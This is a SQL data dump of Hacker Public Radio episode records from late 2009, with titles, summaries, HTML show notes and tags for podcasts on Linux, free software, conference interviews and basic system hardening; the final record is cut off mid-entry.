(443,'2009-09-11','How to Sign C Files with GPG',430,'sigflup talks about cryptographically signing your C source files','<p>In this show SigFLUP shares a script that can be used to sign your c files with gpg so that they may be directly verifiable by gpg and look un-changed to your c compiler. You can download it at <a href=\"https://tmd.freeshell.org/gpg_bless\" target=\"_blank\">tmd.freeshell.org/gog_bless</a></P>',115,0,1,'CC-BY-NC-SA','C,programming,script,gpg,signature,trust',0,4187,1),
(444,'2009-09-14','Cherokee And Asyncronous Servers',1424,'Thistleweb discusses the Cherokee server','<p>ThistleWeb discusses the difference between process based and asynchronous servers, then goes on to talk about Cherokee server and a few flat file PHP applications.</p> <ul> <li><a href=\"https://www.wikivs.com/wiki/Lighttpd_vs_nginx\" title=\"\">Lighty V\'s Nginx Wiki</a></li> <li><a href=\"https://www.cherokee-project.com/\" title=\"\">Cherokee Server</a></li> <li><a href=\"https://launchpad.net/~cherokee-webserver/+archive/ppa\" title=\"\">Cherokee Ubuntu PPA</a></li> <li><a href=\"https://www.apachefriends.org/en/xampp.html\" title=\"\">XAMPP</a> The one-click server for Linux, Windows or OSX.</li> <li><a href=\"https://www.howtoforge.com\" title=\"\">How to forge</a> has plenty of tutorials, including a few on Cherokee.</li> <li><a href=\"https://www.dokuwiki.org/dokuwiki\" title=\"\">DokuWiki</a></li> <li><a href=\"https://nanocms.in/\" title=\"\">Nano CMS Project Homepage</a>. This domain seems to have expired, so the code is hosted on <a href=\"https://code.google.com/p/nano-cms/\" title=\"\">Google</a> for now.</li> <li><a href=\"https://www.flatpress.org/home/\" title=\"\">FlatPress</a></li> </ul> <p>The Admin process:</p> <ul> <li>sudo cherokee-admin</li> <li>localhost:9090</li> <li>Copy and paste the temprary password.</li> <li>You can bind it (or a virtual server) to 127.0.0.1 if it\'s meant to be a private server.</li> </ul> <p>I kept refering to \"spawn-cgi\" in the recording. This is supposed to be \"spawn-fcgi\". I also inferred that it didn\'t use config files, it does; it just generates them via the admin web GUI and will overwrite any changes made manually.</p> <p>My new blog is <a href=\"https://www.thistleweb.co.uk\" title=\"\">thistleweb.co.uk</a>, my new email is gordon (at) thistleweb (dot) co (dot) uk.</p> ',106,0,1,'CC-BY-NC-SA','Cherokee webserver,webservers,asynchronous',0,3653,1),
(445,'2009-09-15','HAR Update with Chris n\' Frank',2632,'Hacking at Random interview with Chris and Frank','Finux interviews Frank and Chris for an update after the Hacking At Random (HAR) event.  What is Hacking At Random? listen to the episode!\r\n\r\nYou can download the ogg version here --> <a href=\"https://www.thebadapples.info/audiophile/hpr0445.ogg\" target=\"_blank\">download the ogg version</a>.',85,0,1,'CC-BY-NC-SA','Hacking at random,ham radio',0,2116,1),
(446,'2009-09-16','Building Live CDs with Fedora',1633,'Clint Savage at SouthEast Linux Fest 2009 on how to build Live CDs','<p>Clint Savage at SouthEast Linux Fest 2009 on how to build Live CDs and Live USB sticks (\"remixes\" and \"respins\") using Fedora tools like kickstart, live usb creator, revisor, and more.</p>\r\n\r\n<p>Note that this is Klaatu\'s edit and is shorter than the source audio on southeastlinuxfest.org because the delay due to technical difficulty has been chopped out.</p>\r\n\r\n<p>Ogg is available here:\r\n<a href=\"https://www.thebadapples.info/fedorareloaded/hpr0446.ogg\">hpr0446.ogg</a></p>',158,35,1,'CC-BY-NC-SA','Fedora,Live CD',0,1692,1),
(447,'2009-09-17','Lord Drachenblut Recovers Data After a Failed Dist-Upgrade',408,'Lord Drachenblut learns about data recovery','<p>Daring to upgrade to an Alpha version of Kubuntu, Lord Drachenblut learns the finer points of data recovery.</p>\r\n<p>\r\n<a href=\"https://www.thebadapples.info/audiophile/hpr0447.ogg\">OGG VORBIS</a></p>',24,0,1,'CC-BY-NC-SA','data recovery,dist-upgrade',0,2558,1),
(448,'2009-09-18','TiT Radio 008 - Something Kinda Tacky',4363,'Monsterb and friends host TiT Radio','<p>Recorded Live Sept. 5th, 2009; monsterb and friends talk about a perl\r\nscript called exiftool,&nbsp; Jibbed a NetBSD livecd,&nbsp; something\r\nshocking on Planet Gnome,&nbsp; Hannah Montana distro, and so much\r\nmore.&nbsp; Please take a look at the shownotes for detailed\r\ninformation.&nbsp; <a href=\"https://titradio.info/008.html\">https://titradio.info/008.html</a><br>\r\n</p>',99,30,1,'CC-BY-NC-SA','BSD,exiftool,Chrome OS,Quake Live',0,2114,1),
(449,'2009-09-21','Fericyde and Damin talk about Ohio Linux Fest',2571,'A trip down memory lane with Fericyde and Damin.','<p>Ah, a trip down memory lane with Fericyde and Damin.  They talk about geek fests and the upcoming Ohio Linux Fest.</p>\r\n<p><a href=\"https://www.thebadapples.info/audiophile/hpr0449.ogg\" target=\"_blank\">ogg version</a></p>',109,0,1,'CC-BY-NC-SA','Ohio Linux Fest,geek,Ubuntu',0,3588,1),
(450,'2009-09-23','TiT Radio 009 - peggy, piggy, and pat',5294,'Monsterb and friends host TiT Radio','Recorded Live Sept. 19th, 2009;&nbsp; The TiTs talk about QT 4.6,\r\nDreamScreen 100, new Arch Magazine, Sexism in FOSS, and so much\r\nmore.&nbsp; Please take a look at the shownotes for detailed\r\ninformation.&nbsp; <a href=\"https://titradio.info/009.html\">https://titradio.info/009.html</a>',99,30,1,'CC-BY-NC-SA','DreamScreen 100,Arch Magazine,qt project,sexism in FOSS,Archos 5 tablet,accessibility,barcodes,audiobooks,bittorrent,media frontends,Ohio Linux Fest',0,1993,1),
(451,'2009-09-23','Podcasting: From Mic to Audience',1328,'Finux talks about podcasting','Podcasting: From Mic to Audience finux talks all about podcasting',85,36,1,'CC-BY-NC-SA','podcasting,Audacity,blog',0,2261,1),
(452,'2009-09-24','Demo or Bust 2010 Part 4',6844,'SigFLUP talks about software rendering and then interviews blackpawn of xplsv','In this episode SigFLUP talks about software rendering and then interviews blackpawn of xplsv. Leave you feedback at +1-206-312-1618 or email pantsbutt@gmail.com',115,0,1,'CC-BY-NC-SA','Demo or Bust 2010',0,1683,1),
(453,'2009-09-26','Talk Geek to me Ep 2',2044,'Deepgeek talks geek to his fans about HTML','Deepgeek discusses upgrading from old style HTML to Modern HTML. He uses, as a feature example, device independence between Cell Phone Micro Browsers and Desktop Browsers like Firefox.',73,34,1,'CC-BY-NC-SA','HTML,css,stylesheets,micro browser,mobile browsing',0,1983,1),
(454,'2009-09-29','BruCon Interview',2663,'Finux interviewing Benny from BruCON','finux interviewing Benny from BruCON',85,78,1,'CC-BY-NC-SA','BruCON,unconference,hacking',0,1938,1),
(455,'2009-09-30','Interview with Dann at OLF',805,'Pegwole interviews Dann at the Ohio Linux Fest','pegwole interviews Dann at OLF',120,78,1,'CC-BY-NC-SA','OLF 2009,interview',0,1478,1),
(456,'2009-10-01','What is Free Software',1716,'Finux discusses what is free software','finux talks about what is free software.',85,36,1,'CC-BY-NC-SA','Free software,Open source software,history',0,1714,1),
(457,'2009-10-02','automatic car',829,'Ken Fallon talks about an automatic car, with a twist','ken fallon talks about an automatic car',30,0,1,'CC-BY-NC-SA','automatic transmission,cars,linux',0,1629,1),
(458,'2009-10-02','Blender-Game-Engine-A-Short-Guide',1358,'GaryWhiton talks about Blender','GaryWhiton talks about Blender ',85,36,1,'CC-BY-NC-SA','Blender,gaming,game development,game engine',0,2077,1),
(459,'2009-10-06','Sine Nomine Interview',620,'Klaatu interviews David from Sine Nomine: Recapturing aging technology in new ways.','<p>At the Ohio Linux Fest 2009, Klaatu talks to David from <a href=\"https://www.sinenomine.net/about\" target=\"_blank\">Sine Nomine</a> about reviving old technology to create better new technology.</p><p><a href=\"https://www.thebadapples.info/audiophile/hpr_sineNomine.ogg\" target=\"_blank\">The ogg version</a> provided by <a href=\"https://www.thebadapples.info\" target=\"_blank\">The Bad Apples Linux Oggcast</a>.</p>\r\n',78,78,1,'CC-BY-NC-SA','OLF 2009,interview',0,1437,1),
(460,'2009-10-08','TiT Radio Ep 10 - OLF',2677,'Monsterb and friends host TiT Radio','<p>Episode 010 - Warning - Bad Levels</p>\r\n<p>Recorded on Oct 3rd, 2009. monsterb and the TiTs talk about Ohio Linux Fest, Leo Laporte,\r\nOpenShot Video Editor, gimp, seeing through walls, and so much more!</p>\r\n\r\n<p>Please visit <a href=\"https://titradio.info/010.html\">https://titradio.info/010.html</a> for detailed shownotes.</p>\r\n',99,30,1,'CC-BY-NC-SA','how I found Linux,Ohio Linux Fest,Twit network,ogg',0,1615,1),
(461,'2009-10-08','Mibbit',1062,'ThistleWeb discusses why you should have an embedded Mibbit client','<p>ThistleWeb discusses why you should have an embedded <a href=\"https://mibbit.com\">Mibbit</a> client on your projects home page.</p>\r\n<ul>\r\n<li>Users needn\'t know about IRC or have a client installed.</li>\r\n<li>Users can connect from any PC, regardless of restrictions with only a web browser.</li>\r\n<li>Real time language translation allows you to vault over the langauge barrier and be properly international, regardless of the size of your userbase.</li>\r\n<li>Pastebin is only a click away, for those times where you need to share or see code / logfiles etc</li>\r\n</ul>',106,0,1,'CC-BY-NC-SA','Mibbit,IRC,real-time language translation',0,1521,1),
(462,'2009-10-08','Talk Geek to me Ep 4',1767,'Deepgeek talks geek to his fans about \"Lyx,\" the document processor','The main feature of this episode is a software review of \"Lyx,\" the document processor. A \"not a word processor\" front end to the powerful Latex typesetting environment, and multiplatform too.\r\nDeepgeek also offers updates on his \"Beowulf cluster\" and \"Running Linux on Compact Flash\" episodes of HPR.\r\nClosing music is \"Sevish - Consciousness.\"',73,34,1,'CC-BY-NC-SA','LyX,LaTeX,typesetting',0,2025,1),
(463,'2009-10-13','Finux Interviews Moxie Marlinspike about SSL',2279,'Finux talks to Moxie Marlinspike about a variety of vulnerabilities in SSL','<p>Finux talks to Moxie Marlinspike about a variety of vulnerabilities in most common implementations of SSL, such as hijacking the switch from http to https, universal wildcard certs, <a href=\"https://www.thoughtcrime.org/software/sslsniff/\" target=\"_blank\">SSLsniff</a> and more.\r\n</p>\r\n<p><a href=\"https://www.thebadapples.info/audiophile/hpr0463.ogg\">ogg version! </a>',85,78,1,'CC-BY-NC-SA','interview,SSL,security',0,8295,1),
(464,'2009-10-14','Barefoot Running',1360,'How to run barefoot','Barefoot running resources\r\n<ul>\r\n<li><a href=\"https://howtorunbarefoot.com\">How to run barefoot</a>- excellent beginner resource.</li>\r\n<li><a href=\"https://barefootted.com\">Learn from the master - Ted</a>  Learn about Vibram Fivefingers and Huarache Sandals.  Great resource.</li>\r\n<li><a href=\"https://runningbarefoot.org\"> Running barefoot</a> has articles, forums and all resources.  Great videos.</li>\r\n<li><a href=\"https://borntorun.org\">Born To Run</a> the official fan website for the book by Christopher McDougall - Read this book!\r\n<li><a href=\"https://www.youtube.com/watch?v=iIT7t2jtdP0&hl=un\">NY Time interview with Christopher McDougall</a></li>\r\n</ul>',7,0,1,'CC-BY-NC-SA','Barefoot running,Barefoot shoes,Chia seeds',0,2184,1),
(465,'2009-10-14','Failsafe security',971,'Tips on securing your Linux systems, see Episode 431','<p><b>WARNING</b>: It\'s easy to lock yourself out of a system implementing these changes so make sure you have physical access to the console of the system you are securing.</p>\r\n\r\n<p>To display all processes listening</p>\r\n<pre><code>  netstat -anp | grep -i listen\r\n</code></pre>\r\n\r\nDeny all connections to any port from any external IP address\r\n<pre><code>/etc/hosts.deny\r\n  all:all\r\n\r\n/etc/hosts.allow\r\n  sshd:192.168.1.54 # My other pc\r\n</code></pre>\r\n\r\n<p>IPTables Tutorial: <a href=\"https://iptables-tutorial.frozentux.net/\">https://iptables-tutorial.frozentux.net/</a></p>\r\n\r\n<p>A good starting point to block all except ssh:\r\n<a href=\"https://www.cyberciti.biz/tips/linux-iptables-4-block-all-incoming-traffic-but-allow-ssh.html\">https://www.cyberciti.biz/tips/linux-iptables-4-block-all-incoming-traffic-but-allow-ssh.html</a></p>\r\n\r\n<p>Disable root login via ssh: <a href=\"https://www.howtogeek.com/howto/linux/security-tip-disable-root-ssh-login-on-linux/\">https://www.howtogeek.com/howto/linux/security-tip-disable-root-ssh-login-on-linux/</a></p>\r\n\r\n<p>Setting up ssh keys and disabling password logins.</p>\r\n\r\n<p><a href=\"https://www.debuntu.org/ssh-key-based-authentication\">https://www.debuntu.org/ssh-key-based-authentication</a></p>\r\n\r\n',30,0,1,'CC-BY-NC-SA','security,netstat,hosts file,iptables,Firefox,noscript',0,1678,1),
(466,'2009-10-16','A technique for drum \'n\' bass',550,'In this show SigFLUP shares a program that can be used to make drum \'n\' bass songs.','In this show SigFLUP shares a program that can be used to make drum \'n\' bass songs. \r\nYou can download it at  <a href=\"https://tmd.freeshell.org\"> https://tmd.freeshell.org </a>',115,0,1,'CC-BY-NC-SA','drum\'n\'bass,music,samples,freeshell',0,1794,1),
(467,'2009-10-16','AutoNessus News',1624,'Finux and the author of AutoNessus talk about some upcoming news about this software','finux and the author of Autonessus talk about some upcoming news about this software',85,0,1,'CC-BY-NC-SA','AutoNessus,Interview,security,scanner',0,1505,1),
(468,'2009-10-19','Quvmoh\'s UTOS trip',411,'Quvmoh details his trip to the Utah Open Source Conference','<ul>\r\n<li>tosc <a href=\"https://2009.utosc.com/pages/home/\" class=\"uri\">https://2009.utosc.com/pages/home/</a></li>\r\n<li>no gui <a href=\"https://cli.homelinux.net/CLIapps.html\" class=\"uri\">https://cli.homelinux.net/CLIapps.html</a></li>\r\n<li>Quvmoh\'s pics <a href=\"https://www.flickr.com/photos/quvmoh/sets/72157622421938901/detail/\" class=\"uri\">https://www.flickr.com/photos/quvmoh/sets/72157622421938901/detail/</a></li>\r\n</ul>\r\n',110,0,1,'CC-BY-NC-SA','Utah Open Source Conference,networking 101,z shell,Linux home servers,life without a GUI,ssh tips and tricks,openvpn,podcasting,ffmpeg,HDR photography',0,1394,1),
(469,'2009-10-21','TiT Radio 011 - puppies, tails, and a gnome ',4229,'Monsterb and friends host TiT Radio','\r\nRecorded live on Oct 17th, 2009. Pick your price for World of Goo, Gnome 3,  <br>\r\n Puppy Linux, KaOS, Commands of the Week, and so much more!  <br>\r\n Shownotes and Ogg: https://titradio.info/011.html <br>',99,30,1,'CC-BY-NC-SA','PXE boot,Gnome shell,Puppy Linux,Texas Instruments,EFF,Screen,Tmux',0,1458,1),
(470,'2009-10-21','Interworx',470,'Klaatu interviews Jon from Interworx at Ohio Linux Fest 2009','Klaatu interviews Jon from Interworx at Ohio Linux Fest 2009.',78,78,0,'CC-BY-NC-SA','OLF 2009,interview',0,2137,1),
(471,'2009-10-23','Interview with Andrej Hajto about VOIP',2016,'Finux interviews Andrej Hajto about VOIP','Download the <a href=\"https://www.thebadapples.info/audiophile/hpr0471.ogg\" target=\"_blank\">ogg vorbis version</a> courtesy Finux & the Bad Apples.',85,36,1,'CC-BY-NC-SA','interview,VOIP',0,2026,1),
(472,'2009-10-26','Interview with Ryan Dewhurst',2628,'Finux interviews Ryan Dewhurst of Damn Vulnerable Web Application','finux interview Ryan Dewhurst',85,78,1,'CC-BY-NC-SA','ethical hacker,web application security',0,1712,1),
(473,'2009-10-28','Tit Radio Ep 011.1a - RMS and Aftershow',1941,'Interview with RMS and TiT Radio aftershow','BSDBetty kicks off the show with an interview with Richard Stallman before his talk at the \r\n Edinburgh University Informatics Colloquium, with particular focus on ethics in the field of software.  \r\n Transcription of this interview can be found at Indymedia Scotland.<br>\r\n\r\nAt the Roundtable: monsterb, klaatu, Peter64, Azimuth, JMan, 330, and pegwole.<br>\r\n\r\n\r\nCaller: SndChaser <br>\r\n\r\nPlease visit https://titradio.info/011-1a.html for shownotes and ogg.<br>\r\n',99,30,1,'CC-BY-NC-SA','Free Software',0,1570,1),
(474,'2009-10-30','Talk Geek To Me Ep 05 ',1756,'Deepgeek talks geek to his listeners about the Aria2 download manager','\r\nDeepGeek gives a software review of the Aria2 download manager.',73,34,1,'CC-BY-NC-SA','Aria2,download manager',0,2249,1),
(475,'2009-10-31','Lord Drachenblut Interviews Scott Sigler',972,'In this episode Lord Drachenblut Interviews Scott Sigler','Lord Drachenblut Interviews Scott Sigler',24,78,1,'CC-BY-NC-SA','interview,books,audiobooks,audio setup,podiobooks',0,2038,1),
(476,'2009-11-03','FOSS In Business',1765,'RobertLadyman talks about Free And Open Source Software In Business','RobertLadyman tals about Free And Open Source Software In Business ',85,36,1,'CC-BY-NC-SA','free software,open source software,FOSS in business',0,1482,1),
(477,'2009-11-05','Uber Leet Hacker Force Radio',526,'Uber Leet Hacker Force Radio issue 1','AUTHOR: SigFLUP <br>\r\n<br>\r\nTITLE: Uber Leet Hacker Force Radio issue 1\r\n<br><br>\r\nDESCRIPTION: <br>\r\nIn this issue of Uber Leet Hacker Force Radio SigFLUP releases a helpful patch to gnu-screen. Show notes include https://hobones.dogsoft.net/screen-4.0.3-ulhf.1.tar.gz and https://hobones.dogsoft.net/ulhf_patch1.tgz\r\n \r\nYou may contact us at pantsbutt@gmail.com\r\n',115,87,1,'CC-BY-NC-SA','music,code',0,1237,1),
(478,'2009-11-06','Demo or Bust 2010 Ep 5',5901,'This is the party version of Demo or Bust from SigFLUP','Demo or Bust 2010 #5 <br>\r\nDESCRIPTION:<br>\r\nThis is the party version of Demo or Bust in which SigFLUP specifically focuses on upcoming parties. We\r\ntalk to Jason Scott and Nrr. Please note that in editing this Jason Scott may sound to be not enthusiastic\r\nabout @party and Nurupo, this was far from the case, he was actually very enthusiastic! In editing out \r\nsomething that was meant to be a secret SigFLUP may of made him sound a little dismissive of these parties <br>\r\n<br>\r\n\r\nBlockParty: https://www.demoparty.us <br>\r\nNurupo: https://wiki.corvidae.org/nurupo <br>\r\n@Party: https://www.atparty-demoscene.net <br>\r\n\r\nDemos played in this episode:\r\n\r\nhttps://www.pouet.net/prod.php?which=9424 (This is only 64 god-damn k!!!)\r\nhttps://www.pouet.net/prod.php?which=53090 (Mobile phone)\r\n\r\nYou may contact Demo or Bust at pantsbutt@gmail.com or +1-206-312-1618\r\n\r\n',115,0,1,'CC-BY-NC-SA','Demo or Bust 2010',0,2072,1),
(479,'2009-11-06','OLF 2009: Interview with Dwick',565,'Klaatu at Ohio Linux Fest 2009 interviews DWick, a math professor','<p>Klaatu at Ohio Linux Fest 2009 interviews DWick, a math professor, about math programs on Linux.</p>\r\n<p><a href=\"https://www.thebadapples.info/audiophile/hpr_dwick.ogg\" target=\"_blank\">The ogg version kindly provided by The Bad Apples</a>.</p>\r\n',78,78,0,'CC-BY-NC-SA','OLF 2009,interview',0,1599,1),
(480,'2009-11-11','TiT Radio 012 - Happy Halloween',4068,'Monsterb and friends host TiT Radio','<h2>TiT Radio 012 - Happy Halloween</h2>\r\n\r\n<p>Recorded 10-31-2009.</p>\r\n<p>monsterb, klaatu, Peter64, Azimuth, JMan, and 330 talk about Tiny Core Linux,  Suse Studio, Ubuntu 9.10, Phoronix Test Suite, Commands of the Week, and so much more!</p>\r\n<p>Ending song by Kelly Allyn - 07 Whiskey Can.</p>\r\n<p>Please visit <a href=\"https://titradio.info/012.html\">https://titradio.info/012.html</a> for shownotes.</p>\r\n',99,30,1,'CC-BY-NC-SA','screen,Tiny Core Linux,Suse Studio,flash',0,1974,1),
(481,'2009-11-12','Mashpodder',517,'Ken Fallon talks about Mashpodder.','<p>Ken Fallon talks about Mashpodder.</p>\r\n\r\n<p>Some useful links:</p>\r\n<ul>\r\n<li>baspodder homepage: <a href=\"https://lincgeek.org/bashpodder/\">https://lincgeek.org/bashpodder</a></li>\r\n<li>mashpodder homepage: <a href=\"https://code.google.com/p/mashpodder/\">https://code.google.com/p/mashpodder/</a></li>\r\n<li>Linux Reality Podcast: <a href=\"https://www.linuxreality.com/\">https://www.linuxreality.com/</a></li>\r\n<li>Spudshow: <a href=\"https://spudshow.libsyn.com/\">https://spudshow.libsyn.com/</a></li>\r\n</ul>\r\n<p>\r\nThe Ogg Vorbis version of this show can be found courtesy The Bad Applez --> <a href=\"https://www.thebadapples.info/audiophile/hpr0481.ogg\">download hpr0481.ogg</a>\r\n</p>\r\n',30,0,1,'CC-BY-NC-SA','podcast,bashpodder,mashpodder,Linux Reality,Spudshow',0,1996,1),
(482,'2009-11-14','Lugging it Home',1011,'Lostnbronx talks about real and virtual Linux User Groups','<b>LUGGING IT HOME</b>\r\n\r\n<br>\r\n\r\nGetting By Without A Local Linux Users Group\r\n\r\n<p>\r\n\r\nMusic in this episode:\r\n\r\n<p>\r\n\r\n<b>\r\n\r\nBluejuice\r\n\r\n</b>\r\n\r\n<br>\r\n\r\n\r\nCheck out their page at the Podsafe Music Network \r\n<a\r\nhref=https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=5e712d18d2ed4a13577e6381ce705899 \r\n>here</a>\r\n\r\n<br>\r\n\r\n<a href=https://www.musicalley.com/music/mp3/00016652/866952.mp3>Vitriol</a>\r\n\r\n<br>\r\n\r\n<a href=https://www.musicalley.com/music/mp3/00016652/867085.mp3>The Reductionist</a>\r\n\r\n<p>\r\n\r\nAnd\r\n\r\n<p>\r\n\r\n<b>\r\n\r\nBig John Bates\r\n\r\n</b>\r\n\r\n<br>\r\n\r\nHis\r\n\r\n<a \r\nhref=https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=bae3f2f9d2665b642c1fe5596e5eab6f>page</a> \r\n\r\nat the Podsafe Music Network\r\n\r\n<br>\r\n\r\n<a href=https://www.musicalley.com/music/mp3/00009224/835693.mp3>Mystiki</a>\r\n',107,0,1,'CC-BY-NC-SA','Linux user group',0,1854,1),
(483,'2009-11-16','TiT Radio - Filthy Grunt and Bloopers',4063,'Monsterb and friends host TiT Radio Bloopers','<p>Recorded on November 14th, 2009. Please visit <a href=\"https://titradio.info/013.html\">https://titradio.info/013.html</a> for shownotes.</p>\n',99,30,1,'CC-BY-NC-SA','Go programming language,AMD,EEE PC,e-reader',0,1858,1),
(484,'2009-11-17','Her PR Problem',1347,'Rikki Kite gives her \"Her PR Problem\" talk at Ohio Linux Fest 2009.','<p>Rikki Kite of <a href=\"https://www.linuxpromagazine.com/Online/Blogs/ROSE-Blog-Rikki-s-Open-Source-Exchange\" target=\"_blank\">The Rose Blog</a> and <a href=\"https://www.linuxpromagazine.com\" target=\"_blank\">Linux Pro Magazine</a> gives her \"Her PR Problem\" talk at Ohio Linux Fest 2009\'s Diversity in Open Source Workshop.</p>\r\n<p><a href=\"https://www.thebadapples.info/audiophile/hpr_herPRProblem.ogg\" target=\"_blank\">The ogg version</a> provided by <a href=\"https://www.thebadapples.info\" target=\"_blank\">The Bad Apple Linux Oggcast</a>.</p>\r\n',78,78,0,'CC-BY-NC-SA','OLF 2009,interview',0,1424,1),
(485,'2009-11-19','Newsbeuter',1704,'ThistleWeb talks about the cli RSS reader called Newsbeuter','<p>ThistleWeb talks about the cli RSS reader called <a href=\"https://newsbeuter.org\" target=\"_blank\">Newsbeuter</a>, and it\'s podcatching abilities. He also gives an overview of the concept and advantages of RSS as he found many PC literate people he met had no clue about them or how they could be of use.</p>\r\n<p>The accompanying blog post which gives much more detail can be found <a href=\"https://thistleweb.co.uk/blog/newsbeuter-now-with-podcatching-powers\" target=\"_blank\">here</a>.</p>',106,0,1,'CC-BY-NC-SA','Newsbeuter,News reader,podcatcher,aggregator',0,1913,1),
(486,'2009-11-24','HPR Round Table 6',3078,'Klaatu, SigFLUP, Skirlet, and Deepgeek gather around the HPR Round Table','Klaatu, SigFLUP, Skirlet, and Deepgeek gather around the venerable HPR Round Table to discuss the classic sci fi film, Forbidden Planet.',109,26,1,'CC-BY-NC-SA','round table,movie,film,review',0,1807,1),
(487,'2009-11-26','Demo or Bust 2010 Ep 6',4146,'SigFLUP host the next episode of Demo or Bust 2010','<p>demos in this episode: <br />\r\n<a href=\"https://www.pouet.net/prod.php?which=51438\" target=\"_blank\">https://www.pouet.net/prod.php?which=51438</a><br/>\r\n\r\n\r\n<a href=\"https://www.pouet.net/prod.php?which=53223\" target=\"_blank\">https://www.pouet.net/prod.php?which=53223</a><br/>\r\n\r\n\r\n<a href=\"https://www.pouet.net/prod.php?which=15216\" target=\"_blank\">https://www.pouet.net/prod.php?which=15216</a><br/>\r\n</p>\r\n\r\n<p>closing song: Fractured by Azazel of The Black Lotus</p>\r\n<p>You may contact Demo or Bust at pantsbutt@gmail.com or +1-206-312-1618\r\n</p>',115,0,1,'CC-BY-NC-SA','Demo or Bust 2010',0,2382,1),
(491,'2009-12-07','Null_Pointer Interview',2708,'Quvmoh interviews Ken McConnell on his new geek mystery Null_Pointer','<p>Quvmoh interviews Ken McConnell on his new geek mystery Null_Pointer</p>\r\n\r\n<p><a href=\"https://www.w0pht.org/wordpress/\" target=\"_blank\">https://www.w0pht.org/wordpress</a><br />\r\n<a href=\"https://nullpointer.ning.com/profiles/blog/list\" target=\"_blank\">https://nullpointer.ning.com/profiles/blog/list</a></p>\r\n',110,78,1,'CC-BY-NC-SA','TRS-80,film,books',0,2238,1),
(488,'2009-11-27','Pegwole interviews Debbie Nicholson',953,'At Ohio Linux Fest 2009, Pegwole and Lord Drachenblut chat with FSF\'s Debbie Nicholson','<p>At Ohio Linux Fest 2009, Pegwole sits down for a lil\' chat with FSF\'s Debbie Nicholson.</p>',120,78,1,'CC-BY-NC-SA','OLF 2009,interview',0,1300,1),
(489,'2009-12-01','SSL Attack',1734,'Finux talks about SSL attacks','<p>Finux talks about SSL attacks\r\n</p><p>\r\nShownotes are on <a href=\"https://www.finux.co.uk/blog/?p=43\" target=\"_blank\">Finux\'s blog</a></p>',85,0,1,'CC-BY-NC-SA','SSL,TLS,vulnerability,x509 certificate',0,1785,1),
(490,'2009-12-02','TIT Radio Ep 13.1ec',1149,'From PC Radio Show website:\"Our guest was Richard Stallman\"','From PC Radio Show website:<br>\r\n\r\n\"Our guest was <a href=\"https://stallman.org/\">Richard Stallman</a>, the man behind <a href=\"https://www.gnu.org/\">GNU</a> and the <a href=\"https://www.fsf.org/\">Free Software Foundation</a>. He condemns the <a href=\"https://en.wikipedia.org/wiki/Amazon_Kindle\">Amazon Kindle</a> (his term for it is the \"<a href=\"https://www.defectivebydesign.org/node/1097\">swindle</a>\")\r\nbecause it takes away freedoms that readers of hardcopy books enjoy.\r\nFreedoms such as the ability to lend a book to a friend, to borrow one\r\nfrom a library, to buy one anonymously by paying cash, to keep a book\r\nas long as we like and to give it away. The Amazon Kindle implements <a href=\"https://en.wikipedia.org/wiki/Digital_rights_management\">DRM</a>\r\n- digital rights management - to restrict your use of books. He is not\r\nagainst eBook readers per se, just the DRM, which in addition to the\r\nabove also requires you to run proprietary software to read eBooks. He\r\nurged listeners to go to <a href=\"https://www.defectivebydesign.org/\">Defectivebydesign.org</a> and sign up to participate in his protests.\"<br>\r\n\r\n            <br>\r\n\r\nThe complete episode from July 22nd can be found <a href=\"https://pcradioshow2.org/2009/pcrs_2009_july22_24k.mp3\">here</a>.<br>\r\n<br>\r\nEnding Song: Free Software Song by <a href=\"https://wiki.ubuntu.com/JonoBacon\">Mr. Jono Bacon</a> (<a href=\"https://www.ubuntu.com/\">Ubuntu</a> Community Manager)<br>\r\n<br>\r\nPlease visit <a href=\"https://titradio.info\">https://titradio.info</a> for more info.<br>\r\n<br>',99,30,1,'CC-BY-NC-SA','kindle,swindle,ebooks,audiobooks,DRM,Digital Restrictions Management',0,1491,1),
(492,'2009-12-09','TIT Radio Ep 14',3741,'Monsterb and friends host TiT Radio','<P STYLE=\"margin-bottom: 0in\"><FONT SIZE=2><B>TiT Radio Episode 014 -\r\nPotluck Roundtable of Geeks</B></FONT><FONT SIZE=2><BR><BR><A HREF=\"https://monsterb.org/\">monsterb</A>\r\nstarts the show by mentioning the great shows on <A HREF=\"https://hackerpublicradio.org/\">Hacker\r\nPublic Radio</A> like &quot;<A HREF=\"https://hackerpublicradio.org/series.php?id=33\">Demo\r\nor Bust by SigFlup</A>&quot;, &quot;<A HREF=\"https://talkgeektome.us/\">Talk\r\nGeek to Me by deepgeek</A>&quot;, and mentions the active\r\ncontributors like finux, Ken Fallon, Thistleweb, and lostnbronx. He also\r\nreads some email from Denny (<A HREF=\"https://polarwave.openbsd101.com/\">Polarwave\'s\r\nOpenBSD Tips and Tricks for Newbies</A>) and Jos (<A HREF=\"https://camp.kde.org/\">Camp\r\nKDE 2010</A>).<BR><BR><BR>Azimuth talks about setting up a dirty,\r\nquick, temporary, unsecure, simple HTTP server to share files.<BR>1.)\r\n</FONT><FONT COLOR=\"#660000\"><FONT SIZE=2>alias webshare=\'python -c\r\n&quot;import SimpleHTTPServer;SimpleHTTPServer.test()&quot;\'</FONT></FONT><FONT SIZE=2><BR>2.)\r\ncd to directory to be served<BR>3.) </FONT><FONT COLOR=\"#660000\"><FONT SIZE=2>webshare</FONT></FONT><FONT SIZE=2>&nbsp;&nbsp;&nbsp;\r\n# ctrl-c to exit.<BR>Az also mentions <A HREF=\"https://fosscasts.com/\">FOSSCasts</A>\r\n(free screencasts covering Linux, Unix, and Open Source software in\r\ngeneral).<BR><BR><BR><A HREF=\"https://monsterb.org/\">monsterb</A>\r\nmentions Debian <A HREF=\"https://www.debian.org/ports/kfreebsd-gnu/\">GNU/kFreeBSD</A>\r\n(port that consists of GNU userland using the GNU C library on top of\r\nFreeBSD\'s kernel, coupled with the regular Debian package set). ISOs\r\ncan be found at the <A HREF=\"https://www.gtlib.gatech.edu/pub/gnuab/debian-cd/\">Georgia\r\nTech FTP</A>.<BR><BR><BR><A HREF=\"https://thebadapples.info/\">Klaatu</A>\r\ntalks about <A HREF=\"https://quanta.kdewebdev.org/\">Quanta Plus</A> (a\r\nhighly stable and feature rich web development environment) and\r\n<A HREF=\"https://www.kdevelop.org/\">KDevelop</A> (free opensource\r\nIDE).<BR><BR><BR>artv61 talks about <A HREF=\"https://www.webupd8.org/2009/11/improve-apt-get-install-and-upgrade.html\">Axel</A>\r\n(a command line application which accelerates HTTP/FTP downloads by\r\nusing multiple sources for one file).<BR><BR><BR><A HREF=\"https://threethirty.us/\">threethirty</A>\r\nmentions the first <A 